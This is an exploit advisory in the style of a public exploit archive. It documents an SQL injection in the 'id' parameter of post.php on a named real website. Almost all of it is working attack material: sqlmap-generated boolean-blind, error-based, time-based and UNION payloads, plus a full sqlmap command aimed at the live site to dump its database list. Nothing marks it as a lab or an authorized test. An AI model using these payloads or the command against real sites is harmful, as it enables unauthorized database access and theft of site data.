##############################################################################
# Exploit Title : MGCE SQL INJECTION Vulnerability
# Author : AtakBey,Secret Team
# Date : 15/09/2019
# Vendor Homepage : mgce.uz.ua
# Tested On : Windows
# Category : WebApps
# Exploit Risk : Medium
##############################################################################
# Exploit :
/post.php?id=[SQL Injection]
# Payload :
Parameter: id (GET)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: id=28 AND 5353=5353
Type: error-based
Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)
Payload: id=28 AND (SELECT 8645 FROM(SELECT COUNT(*),CONCAT(0x716a786271,(SELECT (ELT(8645=8645,1))),0x716a716271,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)
Type: AND/OR time-based blind
Title: MySQL >= 5.0.12 AND time-based blind
Payload: id=28 AND SLEEP(5)
Type: UNION query
Title: Generic UNION query (NULL) - 6 columns
Payload: id=-7052 UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,CONCAT(0x716a786271,0x4a64526550596457686a786c794e69656e5069676d4d567a547243746851635862614e4642674665,0x716a716271)-- cuVi
# SQLMAP Config
sqlmap.py -u "http://mgce.uz.ua/post.php?id=28" --risk=3 --level=5 --random-agent --user-agent -v3 --batch --threads=10 --dbs
##############################################################################
# Thanks : Atakbey,Secretteam.biz